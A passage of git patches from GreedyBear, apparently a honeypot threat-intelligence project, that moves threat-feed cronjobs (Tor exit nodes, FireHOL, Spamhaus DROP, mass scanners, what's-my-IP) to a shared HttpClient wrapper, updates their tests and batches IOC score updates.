"DJANGO_SECRET already set, skipping generation." + else + # line is completely absent + echo "DJANGO_SECRET=${new_secret}" >> "$env_file" + log_success "Generated and saved DJANGO_SECRET to docker/env_file." + fi +} + # Execute docker compose command # --project-directory points to docker/ so that relative env_file paths # in compose files resolve correctly. --env-file loads .env from the @@ -618,7 +660,8 @@ cmd_up() { check_downgrade check_git_version_mismatch - + + ensure_django_secret execute_compose up -d "$@" log_success "GreedyBear services started successfully!" } From e2c8118dfb9fe00205ac11967ded3c3fe4918f58 Mon Sep 17 00:00:00 2001 From: Prasad Shinde <144712280+Prasad8830@users.noreply.github.com> Date: Mon, 15 Jun 2026 20:39:04 +0530 Subject: [PATCH 037/131] refactor(cronjobs): migrate tor_exit_nodes and whatsmyip to HttpClient. Refs #1214 (#1254) * feat(cronjobs): add shared HTTP client wrapper (#1214) * refactor(cronjobs): migrate tor_exit_nodes and whatsmyip to HttpClient (#1214) * refactor(cronjobs): update HttpClient import path and remove obsolete files - Update import in tor_exit_nodes.py and whatsmyip.py from greedybear.cronjobs.client to greedybear.cronjobs.http_client - Fix whatsmyip error handling to use self.log.exception() for consistency - Remove obsolete greedybear/cronjobs/client.py (superseded by http_client.py) - Remove obsolete tests/test_client.py (superseded by test_http_client.py) Refs #1214 --- greedybear/cronjobs/tor_exit_nodes.py | 8 ++--- greedybear/cronjobs/whatsmyip.py | 8 ++--- tests/greedybear/cronjobs/test_whatsmyip.py | 33 ++++++++------------- tests/test_tor.py | 14 ++++----- 4 files changed, 26 insertions(+), 37 deletions(-) diff --git a/greedybear/cronjobs/tor_exit_nodes.py b/greedybear/cronjobs/tor_exit_nodes.py index c28f4b79a..a6c727507 100644 --- a/greedybear/cronjobs/tor_exit_nodes.py +++ b/greedybear/cronjobs/tor_exit_nodes.py @@ -3,6 +3,7 @@ import requests from greedybear.cronjobs.base import Cronjob +from greedybear.cronjobs.http_client import HttpClient from greedybear.cronjobs.repositories import IocRepository from greedybear.cronjobs.repositories.tor import TorRepository from greedybear.enums import IpReputation @@ -24,11 +25,8 @@ def run(self) -> None: try: self.log.info("Starting download of Tor exit node list from torproject.org") - r = requests.get( - "https://check.torproject.org/exit-addresses", - timeout=10, - ) - r.raise_for_status() + with HttpClient() as client: + r = client.get("https://check.torproject.org/exit-addresses") findings = ip_regex.findall(r.text) diff --git a/greedybear/cronjobs/whatsmyip.py b/greedybear/cronjobs/whatsmyip.py index cd820d97c..31d60e111 100644 --- a/greedybear/cronjobs/whatsmyip.py +++ b/greedybear/cronjobs/whatsmyip.py @@ -1,6 +1,7 @@ import requests from greedybear.cronjobs.base import Cronjob +from greedybear.cronjobs.http_client import HttpClient from greedybear.models import IOC, WhatsMyIPDomain @@ -9,11 +10,8 @@ class WhatsMyIPCron(Cronjob): def run(self) -> None: try: - r = requests.get( - "https://raw.githubusercontent.com/MISP/misp-warninglists/refs/heads/main/lists/whats-my-ip/list.json", - timeout=10, - ) - r.raise_for_status() + with HttpClient() as client: + r = client.get("https://raw.githubusercontent.com/MISP/misp-warninglists/refs/heads/main/lists/whats-my-ip/list.json") except requests.RequestException: self.log.exception("Failed to fetch whats-my-ip list") raise diff --git a/tests/greedybear/cronjobs/test_whatsmyip.py b/tests/greedybear/cronjobs/test_whatsmyip.py index a8cc5b15a..3213ff358 100644 --- a/tests/greedybear/cronjobs/test_whatsmyip.py +++ b/tests/greedybear/cronjobs/test_whatsmyip.py @@ -13,7 +13,7 @@ class WhatsMyIPTestCase(CustomTestCase): """Test WhatsMyIPCron cronjob""" - @patch("greedybear.cronjobs.whatsmyip.requests.get") + @patch("greedybear.cronjobs.whatsmyip.HttpClient.get") def test_add_new_domains(self, mock_get): """Test adding new domains from MISP warning list""" # Mock the HTTP response @@ -30,7 +30,7 @@ def test_add_new_domains(self, mock_get): self.assertTrue(WhatsMyIPDomain.objects.filter(domain="test-domain-1.com").exists()) self.assertTrue(WhatsMyIPDomain.objects.filter(domain="test-domain-2.com").exists()) - @patch("greedybear.cronjobs.whatsmyip.requests.get") + @patch("greedybear.cronjobs.whatsmyip.HttpClient.get") def test_skip_existing_domains(self, mock_get): """Test that existing domains are skipped""" # Add an existing domain @@ -50,7 +50,7 @@ def test_skip_existing_domains(self, mock_get): self.assertEqual(WhatsMyIPDomain.objects.get(domain="existing-domain.com").id, existing_domain.id) self.assertTrue(WhatsMyIPDomain.objects.filter(domain="new-domain.com").exists()) - @patch("greedybear.cronjobs.whatsmyip.requests.get") + @patch("greedybear.cronjobs.whatsmyip.HttpClient.get") def test_remove_old_ioc_records(self, mock_get): """Test that old IOC records are cleaned up""" # Create an IOC record for a domain @@ -70,7 +70,7 @@ def test_remove_old_ioc_records(self, mock_get): self.assertFalse(IOC.objects.filter(id=ioc.id).exists()) self.assertTrue(WhatsMyIPDomain.objects.filter(domain=domain_name).exists()) - @patch("greedybear.cronjobs.whatsmyip.requests.get") + @patch("greedybear.cronjobs.whatsmyip.HttpClient.get") def test_handle_missing_ioc_gracefully(self, mock_get): """Test that missing IOC records don't cause errors""" # Mock the HTTP response @@ -85,7 +85,7 @@ def test_handle_missing_ioc_gracefully(self, mock_get): # Verify domain was added self.assertTrue(WhatsMyIPDomain.objects.filter(domain="domain-with-no-ioc.com").exists()) - @patch("greedybear.cronjobs.whatsmyip.requests.get") + @patch("greedybear.cronjobs.whatsmyip.HttpClient.get") def test_empty_domain_list(self, mock_get): """Test handling of empty domain list""" # Mock the HTTP response with empty list @@ -100,7 +100,7 @@ def test_empty_domain_list(self, mock_get): # Verify no domains were added self.assertEqual(WhatsMyIPDomain.objects.count(), 0) - @patch("greedybear.cronjobs.whatsmyip.requests.get") + @patch("greedybear.cronjobs.whatsmyip.HttpClient.get") def test_http_request_parameters(self, mock_get): """Test that HTTP request is made with correct parameters""" # Mock the HTTP response @@ -119,14 +119,11 @@ def test_http_request_parameters(self, mock_get): "https://raw.githubusercontent.com/MISP/misp-warninglists", call_args[0][0], ) - self.assertEqual(call_args[1]["timeout"], 10) - @patch("greedybear.cronjobs.whatsmyip.requests.get") + @patch("greedybear.cronjobs.whatsmyip.HttpClient.get") def test_raises_on_http_error(self, mock_get): """Test that HTTP errors (4xx/5xx) are raised instead of silently ignored.""" - mock_response = MagicMock() - mock_response.raise_for_status.side_effect = requests.exceptions.HTTPError("404 Client Error") - mock_get.return_value = mock_response + mock_get.side_effect = requests.exceptions.HTTPError("404 Client Error") cron = whatsmyip.WhatsMyIPCron() with self.assertRaises(requests.exceptions.HTTPError): @@ -134,7 +131,7 @@ def test_raises_on_http_error(self, mock_get): self.assertEqual(WhatsMyIPDomain.objects.count(), 0) - @patch("greedybear.cronjobs.whatsmyip.requests.get") + @patch("greedybear.cronjobs.whatsmyip.HttpClient.get") def test_raises_on_network_error(self, mock_get): """Test that network errors (DNS failure, timeout) are raised.""" mock_get.side_effect = requests.exceptions.ConnectionError("DNS resolution failed") @@ -145,11 +142,10 @@ def test_raises_on_network_error(self, mock_get): self.assertEqual(WhatsMyIPDomain.objects.count(), 0) - @patch("greedybear.cronjobs.whatsmyip.requests.get") + @patch("greedybear.cronjobs.whatsmyip.HttpClient.get") def test_raises_on_invalid_json(self, mock_get): """Test that non-JSON responses raise an error.""" mock_response = MagicMock() - mock_response.raise_for_status.return_value = None mock_response.json.side_effect = ValueError("No JSON object could be decoded") mock_get.return_value = mock_response @@ -159,11 +155,10 @@ def test_raises_on_invalid_json(self, mock_get): self.assertEqual(WhatsMyIPDomain.objects.count(), 0) - @patch("greedybear.cronjobs.whatsmyip.requests.get") + @patch("greedybear.cronjobs.whatsmyip.HttpClient.get") def test_raises_on_missing_list_key(self, mock_get): """Test that a JSON response missing the 'list' key raises KeyError.""" mock_response = MagicMock() - mock_response.raise_for_status.return_value = None mock_response.json.return_value = {"unexpected_key": ["domain.com"]} mock_get.return_value = mock_response @@ -173,12 +168,10 @@ def test_raises_on_missing_list_key(self, mock_get): self.assertEqual(WhatsMyIPDomain.objects.count(), 0) - @patch("greedybear.cronjobs.whatsmyip.requests.get") + @patch("greedybear.cronjobs.whatsmyip.HttpClient.get") def test_execute_raises_on_http_error(self, mock_get): """Test that base class execute() propagates HTTP errors""" - mock_response = MagicMock() - mock_response.raise_for_status.side_effect = requests.exceptions.HTTPError("500 Server Error") - mock_get.return_value = mock_response + mock_get.side_effect = requests.exceptions.HTTPError("500 Server Error") cron = whatsmyip.WhatsMyIPCron() diff --git a/tests/test_tor.py b/tests/test_tor.py index 5e4ccc2e1..40be37ea6 100644 --- a/tests/test_tor.py +++ b/tests/test_tor.py @@ -52,14 +52,14 @@ def setUp(self): self.mock_ioc_repo = Mock() self.cron = TorExitNodesCron(tor_repo=self.mock_tor_repo, ioc_repo=self.mock_ioc_repo) - @patch("greedybear.cronjobs.tor_exit_nodes.requests.get") + @patch("greedybear.cronjobs.tor_exit_nodes.HttpClient.get") @patch("greedybear.cronjobs.tor_exit_nodes.is_valid_ipv4") - def test_run_success(self, mock_is_valid, mock_requests_get): + def test_run_success(self, mock_is_valid, mock_client_get): """Test successful Tor exit nodes fetching.""" # Arrange mock_response = Mock() mock_response.text = "ExitAddress 1.2.3.4\\nExitAddress 5.6.7.8" - mock_requests_get.return_value = mock_response + mock_client_get.return_value = mock_response # Mock validation to return valid for both IPs mock_is_valid.side_effect = [(True, "1.2.3.4"), (True, "5.6.7.8")] @@ -71,15 +71,15 @@ def test_run_success(self, mock_is_valid, mock_requests_get): self.cron.run() # Assert - mock_requests_get.assert_called_once_with("https://check.torproject.org/exit-addresses", timeout=10) + mock_client_get.assert_called_once_with("https://check.torproject.org/exit-addresses") self.assertEqual(self.mock_tor_repo.get_or_create.call_count, 2) self.assertEqual(self.mock_ioc_repo.update_ioc_reputation.call_count, 2) - @patch("greedybear.cronjobs.tor_exit_nodes.requests.get") - def test_run_request_failure(self, mock_requests_get): + @patch("greedybear.cronjobs.tor_exit_nodes.HttpClient.get") + def test_run_request_failure(self, mock_client_get): """Test handling of request failures.""" # Arrange - mock_requests_get.side_effect = requests.RequestException("Network error") + mock_client_get.side_effect = requests.RequestException("Network error") # Act & Assert with self.assertRaises(requests.RequestException): From 19f09cd07461e9c8cb98f93c73f659315e56a4e8 Mon Sep 17 00:00:00 2001 From: Prasad Shinde <144712280+Prasad8830@users.noreply.github.com> Date: Mon, 15 Jun 2026 20:47:33 +0530 Subject: [PATCH 038/131] refactor(cronjobs): migrate mass_scanners, firehol, and spamhaus_drop to HttpClient. (#1309) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(cronjobs): add shared HTTP client wrapper (#1214) * refactor(cronjobs): migrate tor_exit_nodes and whatsmyip to HttpClient (#1214) * fix(cronjobs): address PR feedback on http_client logging and retries * refactor(cronjobs): migrate mass_scanners, firehol, and spamhaus_drop to HttpClient (#1214) * rename the function argument format for passing newly added test * refactor(cronjobs): update HttpClient import path and remove obsolete files - Update import in tor_exit_nodes.py and whatsmyip.py from greedybear.cronjobs.client to greedybear.cronjobs.http_client - Fix whatsmyip error handling to use self.log.exception() for consistency - Remove obsolete greedybear/cronjobs/client.py (superseded by http_client.py) - Remove obsolete tests/test_client.py (superseded by test_http_client.py) Refs #1214 * fix(tests): update firehol tests for HttpClient migration - Patch target: requests.get → HttpClient.get - Side effect function: accept **kwargs for timeout parameter - Error tests: raise exceptions directly via side_effect (HttpClient handles raise_for_status internally) - Helper function: support both response objects and exceptions Refs #1214 --- greedybear/cronjobs/firehol.py | 5 ++- greedybear/cronjobs/mass_scanners.py | 8 ++-- greedybear/cronjobs/spamhaus_drop.py | 5 ++- tests/greedybear/cronjobs/test_firehol.py | 42 +++++++++------------ tests/test_mass_scanners.py | 46 +++++++++++------------ tests/test_spamhaus_drop.py | 10 ++--- 6 files changed, 52 insertions(+), 64 deletions(-) diff --git a/greedybear/cronjobs/firehol.py b/greedybear/cronjobs/firehol.py index 2175363e5..fc9e2c5b0 100644 --- a/greedybear/cronjobs/firehol.py +++ b/greedybear/cronjobs/firehol.py @@ -1,6 +1,7 @@ import requests from greedybear.cronjobs.base import Cronjob +from greedybear.cronjobs.http_client import HttpClient from greedybear.cronjobs.repositories import FireHolRepository from greedybear.utils import is_valid_cidr, is_valid_ipv4 @@ -43,8 +44,8 @@ def run(self) -> None: self.log.info(f"Processing {source} from {url}") try: try: - response = requests.get(url, timeout=60) - response.raise_for_status() + with HttpClient() as client: + response = client.get(url, timeout=60) except requests.RequestException: self.log.exception(f"Network error fetching {source}") continue diff --git a/greedybear/cronjobs/mass_scanners.py b/greedybear/cronjobs/mass_scanners.py index 25bee5344..6e91b1b21 100644 --- a/greedybear/cronjobs/mass_scanners.py +++ b/greedybear/cronjobs/mass_scanners.py @@ -3,6 +3,7 @@ import requests from greedybear.cronjobs.base import Cronjob +from greedybear.cronjobs.http_client import HttpClient from greedybear.cronjobs.repositories import IocRepository, MassScannerRepository from greedybear.enums import IpReputation from greedybear.utils import is_valid_ipv4 @@ -43,11 +44,8 @@ def run(self) -> None: comment_regex = re.compile(r"#\s*(.+)") try: - r = requests.get( - "https://raw.githubusercontent.com/stamparm/maltrail/master/trails/static/mass_scanner.txt", - timeout=10, - ) - r.raise_for_status() + with HttpClient() as client: + r = client.get("https://raw.githubusercontent.com/stamparm/maltrail/master/trails/static/mass_scanner.txt") except requests.RequestException: self.log.exception("Failed to fetch mass scanner list") raise diff --git a/greedybear/cronjobs/spamhaus_drop.py b/greedybear/cronjobs/spamhaus_drop.py index db44087f3..99b041ecc 100644 --- a/greedybear/cronjobs/spamhaus_drop.py +++ b/greedybear/cronjobs/spamhaus_drop.py @@ -3,6 +3,7 @@ import requests from greedybear.cronjobs.base import Cronjob +from greedybear.cronjobs.http_client import HttpClient from greedybear.cronjobs.repositories import FireHolRepository from greedybear.utils import is_valid_cidr, is_valid_ipv4 @@ -31,8 +32,8 @@ def _fetch_drop_feed(self): """Fetch and process Spamhaus DROP v4 feed (JSON Lines format).""" try: self.log.info(f"Fetching from {FEED_URL}") - response = requests.get(FEED_URL, timeout=60) - response.raise_for_status() + with HttpClient() as client: + response = client.get(FEED_URL, timeout=60) lines = response.text.strip().splitlines() self.log.info(f"Retrieved {len(lines)} entries from Spamhaus DROP v4") diff --git a/tests/greedybear/cronjobs/test_firehol.py b/tests/greedybear/cronjobs/test_firehol.py index ba7b999db..9e32b25e0 100644 --- a/tests/greedybear/cronjobs/test_firehol.py +++ b/tests/greedybear/cronjobs/test_firehol.py @@ -9,7 +9,7 @@ class FireHolCronTestCase(CustomTestCase): - @patch("greedybear.cronjobs.firehol.requests.get") + @patch("greedybear.cronjobs.firehol.HttpClient.get") def test_run_creates_all_firehol_entries(self, mock_get): # Setup mock responses mock_response_blocklist_de = MagicMock() @@ -53,20 +53,17 @@ def test_run_creates_all_firehol_entries(self, mock_get): self.assertIn("blocklist_de", sources) self.assertIn("bruteforceblocker", sources) - @patch("greedybear.cronjobs.firehol.requests.get") + @patch("greedybear.cronjobs.firehol.HttpClient.get") def test_run_creates_some_firehol_entries(self, mock_get): # Setup mock response mock_response_blocklist_de = MagicMock() mock_response_blocklist_de.text = "# blocklist_de\n1.1.1.1\n2.2.2.2" - mock_response_bruteforceblocker = MagicMock() - mock_response_bruteforceblocker.raise_for_status.side_effect = requests.exceptions.HTTPError("404 Client Error") - - # Side effect for multiple calls + # Side effect for multiple calls — bruteforceblocker raises HTTPError mock_get.side_effect = self._firehol_get_side_effect( { "blocklist_de": mock_response_blocklist_de, - "bruteforceblocker": mock_response_bruteforceblocker, + "bruteforceblocker": requests.exceptions.HTTPError("404 Client Error"), } ) @@ -80,20 +77,17 @@ def test_run_creates_some_firehol_entries(self, mock_get): self.assertTrue(FireHolList.objects.filter(ip_address="2.2.2.2", source="blocklist_de").exists()) self.assertFalse(FireHolList.objects.filter(source="bruteforceblocker").exists()) - @patch("greedybear.cronjobs.firehol.requests.get") + @patch("greedybear.cronjobs.firehol.HttpClient.get") def test_run_creates_no_firehol_entries(self, mock_get): # Setup mock response mock_response_blocklist_de = MagicMock() mock_response_blocklist_de.text = "# blocklist_de\n" - mock_response_bruteforceblocker = MagicMock() - mock_response_bruteforceblocker.raise_for_status.side_effect = requests.exceptions.HTTPError("404 Client Error") - - # Side effect for multiple calls + # Side effect for multiple calls — bruteforceblocker raises HTTPError mock_get.side_effect = self._firehol_get_side_effect( { "blocklist_de": mock_response_blocklist_de, - "bruteforceblocker": mock_response_bruteforceblocker, + "bruteforceblocker": requests.exceptions.HTTPError("404 Client Error"), } ) @@ -106,7 +100,7 @@ def test_run_creates_no_firehol_entries(self, mock_get): self.assertFalse(FireHolList.objects.filter(source="blocklist_de").exists()) self.assertFalse(FireHolList.objects.filter(source="bruteforceblocker").exists()) - @patch("greedybear.cronjobs.firehol.requests.get") + @patch("greedybear.cronjobs.firehol.HttpClient.get") def test_run_handles_network_errors(self, mock_get): # Setup mock to raise a network error mock_get.side_effect = requests.exceptions.RequestException("Network error") @@ -119,12 +113,10 @@ def test_run_handles_network_errors(self, mock_get): cronjob.log.exception.assert_called() self.assertEqual(FireHolList.objects.count(), 0) - @patch("greedybear.cronjobs.firehol.requests.get") + @patch("greedybear.cronjobs.firehol.HttpClient.get") def test_run_handles_raise_for_status_errors(self, mock_get): - # Setup mock to raise a 404 error - mock_response = MagicMock() - mock_response.raise_for_status.side_effect = requests.exceptions.HTTPError("404 Client Error") - mock_get.return_value = mock_response + # Setup mock to raise a 404 error (HttpClient raises this automatically) + mock_get.side_effect = requests.exceptions.HTTPError("404 Client Error") # Run the cronjob cronjob = FireHolCron() @@ -133,7 +125,7 @@ def test_run_handles_raise_for_status_errors(self, mock_get): cronjob.log.exception.assert_called() - @patch("greedybear.cronjobs.firehol.requests.get") + @patch("greedybear.cronjobs.firehol.HttpClient.get") def test_run_handles_invalid_ip(self, mock_get): # Setup mock response mock_response = MagicMock() @@ -148,7 +140,7 @@ def test_run_handles_invalid_ip(self, mock_get): self.assertFalse(FireHolList.objects.filter(ip_address="256.1.1.1", source="blocklist_de").exists()) self.assertFalse(FireHolList.objects.filter(ip_address="999.999.999.999", source="blocklist_de").exists()) - @patch("greedybear.cronjobs.firehol.requests.get") + @patch("greedybear.cronjobs.firehol.HttpClient.get") def test_run_handles_invalid_cidr(self, mock_get): # Setup mock response mock_response = MagicMock() @@ -186,10 +178,12 @@ def test_cleanup_old_entries(self): self.assertTrue(FireHolList.objects.filter(id=new_entry.id).exists()) def _firehol_get_side_effect(self, side_effect_map): - def _side_effect(url, timeout): - for key, response in side_effect_map.items(): + def _side_effect(url, **kwargs): + for key, response_or_error in side_effect_map.items(): if key in url: - return response + if isinstance(response_or_error, Exception): + raise response_or_error + return response_or_error raise requests.exceptions.HTTPError(f"Unhandled URL: {url}") return _side_effect diff --git a/tests/test_mass_scanners.py b/tests/test_mass_scanners.py index 2671464b0..625311253 100644 --- a/tests/test_mass_scanners.py +++ b/tests/test_mass_scanners.py @@ -22,7 +22,7 @@ def _create_mock_response(self, lines): def test_parses_ip_with_comment(self): """Test parsing IP address with comment after #""" lines = ["192.168.1.100 # normal comment"] - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.return_value = self._create_mock_response(lines) self.cron.run() @@ -34,7 +34,7 @@ def test_parses_ip_with_comment(self): def test_parses_plain_ip_without_comment(self): """Test parsing plain IP address without any comment""" lines = ["45.83.67.252"] - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.return_value = self._create_mock_response(lines) self.cron.run() @@ -46,7 +46,7 @@ def test_parses_plain_ip_without_comment(self): def test_parses_ip_with_multiple_hash_signs(self): """Test parsing IP with comment containing # symbols""" lines = ["1.1.1.1 # comment with # spaces"] - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.return_value = self._create_mock_response(lines) self.cron.run() @@ -56,7 +56,7 @@ def test_parses_ip_with_multiple_hash_signs(self): def test_parses_ip_without_space_before_comment(self): """Test parsing IP with comment but no space before #""" lines = ["1.1.1.1#comment_without_space"] - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.return_value = self._create_mock_response(lines) self.cron.run() @@ -70,7 +70,7 @@ def test_skips_ipv6_addresses(self): "2001:db8::1 # compressed IPv6", "fe80::1ff:fe23:4567:890a # link-local", ] - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.return_value = self._create_mock_response(lines) self.cron.run() @@ -86,7 +86,7 @@ def test_skips_invalid_strings(self): "", "abc.def.ghi.jkl", ] - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.return_value = self._create_mock_response(lines) self.cron.run() @@ -96,7 +96,7 @@ def test_skips_invalid_strings(self): def test_skips_invalid_ip_out_of_range(self): """Test that IPs with octets >255 are skipped""" lines = ["999.999.999.999 # structurally matches but invalid IP"] - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.return_value = self._create_mock_response(lines) self.cron.run() @@ -109,7 +109,7 @@ def test_skips_comment_only_lines(self): "# This is a comment", "## Another comment", ] - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.return_value = self._create_mock_response(lines) self.cron.run() @@ -120,7 +120,7 @@ def test_skips_comment_only_lines(self): def test_skips_empty_lines(self): """Test that empty lines are skipped""" lines = ["", " ", "\n"] - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.return_value = self._create_mock_response(lines) self.cron.run() @@ -138,7 +138,7 @@ def test_handles_mixed_valid_and_invalid_lines(self): "999.999.999.999", "193.142.146.101", ] - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.return_value = self._create_mock_response(lines) self.cron.run() @@ -157,7 +157,7 @@ def test_does_not_duplicate_existing_entries(self): MassScanner.objects.create(ip_address="1.2.3.4", reason="existing") lines = ["1.2.3.4 # new comment"] - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.return_value = self._create_mock_response(lines) self.cron.run() @@ -175,7 +175,7 @@ def test_parses_broadcast_and_special_ips(self): "127.0.0.1 # localhost", "0.0.0.0 # all interfaces", ] - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.return_value = self._create_mock_response(lines) self.cron.run() @@ -192,7 +192,7 @@ def test_handles_partial_ips(self): "123.456.78", "1.2", ] - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.return_value = self._create_mock_response(lines) self.cron.run() @@ -203,7 +203,7 @@ def test_handles_partial_ips(self): def test_extracts_ip_from_beginning_of_line(self): """Test that IP is correctly extracted when at start of line""" lines = ["45.83.67.252"] - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.return_value = self._create_mock_response(lines) self.cron.run() @@ -216,7 +216,7 @@ def test_handles_c_class_network_patterns(self): "C91.196.152.28 # probe.onyphe.net", "C91.196.152.38 # probe.onyphe.net", ] - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.return_value = self._create_mock_response(lines) self.cron.run() @@ -230,10 +230,8 @@ def test_handles_c_class_network_patterns(self): def test_raises_on_http_error(self): """Test that HTTP errors (4xx/5xx) are raised instead of silently ignored.""" - mock_response = Mock() - mock_response.raise_for_status.side_effect = requests.exceptions.HTTPError("404 Client Error") - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: - mock_get.return_value = mock_response + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: + mock_get.side_effect = requests.exceptions.HTTPError("404 Client Error") with self.assertRaises(requests.exceptions.HTTPError): self.cron.run() @@ -242,7 +240,7 @@ def test_raises_on_http_error(self): def test_raises_on_network_error(self): """Test that network errors (DNS failure, timeout) are raised.""" - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.side_effect = requests.exceptions.ConnectionError("DNS resolution failed") with self.assertRaises(requests.exceptions.ConnectionError): self.cron.run() @@ -252,7 +250,7 @@ def test_raises_on_network_error(self): def test_raises_on_timeout(self): """Test that request timeouts are raised.""" - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: mock_get.side_effect = requests.exceptions.Timeout("Connection timed out") with self.assertRaises(requests.exceptions.Timeout): self.cron.run() @@ -262,10 +260,8 @@ def test_raises_on_timeout(self): def test_execute_sets_success_false_on_http_error(self): """Test that base class execute() propagates HTTPError.""" - mock_response = Mock() - mock_response.raise_for_status.side_effect = requests.exceptions.HTTPError("500 Server Error") - with patch("greedybear.cronjobs.mass_scanners.requests.get") as mock_get: - mock_get.return_value = mock_response + with patch("greedybear.cronjobs.mass_scanners.HttpClient.get") as mock_get: + mock_get.side_effect = requests.exceptions.HTTPError("500 Server Error") # Expect exception to be raised now with self.assertRaises(requests.exceptions.HTTPError): self.cron.execute() diff --git a/tests/test_spamhaus_drop.py b/tests/test_spamhaus_drop.py index 230b01efb..d1627de20 100644 --- a/tests/test_spamhaus_drop.py +++ b/tests/test_spamhaus_drop.py @@ -8,11 +8,10 @@ class TestSpamhausDropCron(TestCase): - @patch("greedybear.cronjobs.spamhaus_drop.requests.get") + @patch("greedybear.cronjobs.spamhaus_drop.HttpClient.get") def test_fetch_drop_feed_adds_entries(self, mock_requests_get): """Test that valid CIDRs are processed successfully.""" mock_response = MagicMock() - mock_response.raise_for_status.return_value = None mock_response.text = """ {"cidr":"1.2.3.0/24","sblid":"SBL123","rir":"arin"} {"cidr":"4.5.6.0/24","sblid":"SBL456","rir":"arin"}""" @@ -21,11 +20,10 @@ def test_fetch_drop_feed_adds_entries(self, mock_requests_get): cron = SpamhausDropCron() cron._fetch_drop_feed() - @patch("greedybear.cronjobs.spamhaus_drop.requests.get") + @patch("greedybear.cronjobs.spamhaus_drop.HttpClient.get") def test_invalid_cidrs_are_skipped(self, mock_requests_get): """Test that invalid CIDRs are skipped without error.""" mock_response = MagicMock() - mock_response.raise_for_status.return_value = None mock_response.text = """ {"cidr":"invalid_cidr"} {"cidr":"999.999.999.999/24"}""" @@ -34,7 +32,7 @@ def test_invalid_cidrs_are_skipped(self, mock_requests_get): cron = SpamhausDropCron() cron._fetch_drop_feed() - @patch("greedybear.cronjobs.spamhaus_drop.requests.get") + @patch("greedybear.cronjobs.spamhaus_drop.HttpClient.get") def test_request_exception_is_handled(self, mock_requests_get): """Test that network errors are logged but do not crash the cronjob.""" mock_requests_get.side_effect = RequestException("Network error") @@ -42,7 +40,7 @@ def test_request_exception_is_handled(self, mock_requests_get): cron = SpamhausDropCron() cron._fetch_drop_feed() - @patch("greedybear.cronjobs.spamhaus_drop.requests.get") + @patch("greedybear.cronjobs.spamhaus_drop.HttpClient.get") def test_unexpected_exception_is_raised(self, mock_requests_get): """Test that unexpected exceptions are re-raised.""" mock_requests_get.side_effect = ValueError("Unexpected error") From 7e917ca1149dc5823ffa9667135ef4d0bac58c7f Mon Sep 17 00:00:00 2001 From: Manik Date: Tue, 16 Jun 2026 11:17:35 +0530 Subject: [PATCH 039/131] Refactor update_db to use Django iterator and batch bulk_update. Closes #1406 (#1407) * Refactor update_db to use Django iterator and batch bulk_update * Fix list object has no attribute iterator when mock is used in tests * Fix formatting for Ruff checks * Extract chunk size to module-level constant * Move iterator logic into get_scanners_for_scoring * Refactor duplicate flush logic into _flush_updates helper * Add test for batched bulk_update_scores with large IOC sets * Fix formatting for Ruff checks * chore: remove tracked .DS_Store files and add to .gitignore * Revert .gitignore changes * Use BULK_UPDATE_BATCH_SIZE constant for chunk_size default * Refactor: Move BULK_UPDATE_BATCH_SIZE to IocRepository module --- greedybear/cronjobs/repositories/ioc.py | 15 +++++--- greedybear/cronjobs/scoring/scoring_jobs.py | 34 ++++++++++++++---- tests/test_ioc_repository.py | 38 +++++++++++++++++++++ 3 files changed, 76 insertions(+), 11 deletions(-) diff --git a/greedybear/cronjobs/repositories/ioc.py b/greedybear/cronjobs/repositories/ioc.py index 8f1ee3cc8..4662256cc 100644 --- a/greedybear/cronjobs/repositories/ioc.py +++ b/greedybear/cronjobs/repositories/ioc.py @@ -6,6 +6,8 @@ from greedybear.models import IOC, Honeypot +BULK_UPDATE_BATCH_SIZE = 2000 + class IocRepository: """ @@ -172,20 +174,25 @@ def save(self, ioc: IOC) -> IOC: ioc.save() return ioc - def get_scanners_for_scoring(self, score_fields: list[str]) -> list[IOC]: + def get_scanners_for_scoring(self, score_fields: list[str], chunk_size: int | None = None): """ Get all scanners associated with active honeypots for scoring. Retrieves IOCs that are marked as scanners and are associated with any - active honeypot. Returns only the name field and specified score fields for efficiency. + active honeypot. Returns only the name field and 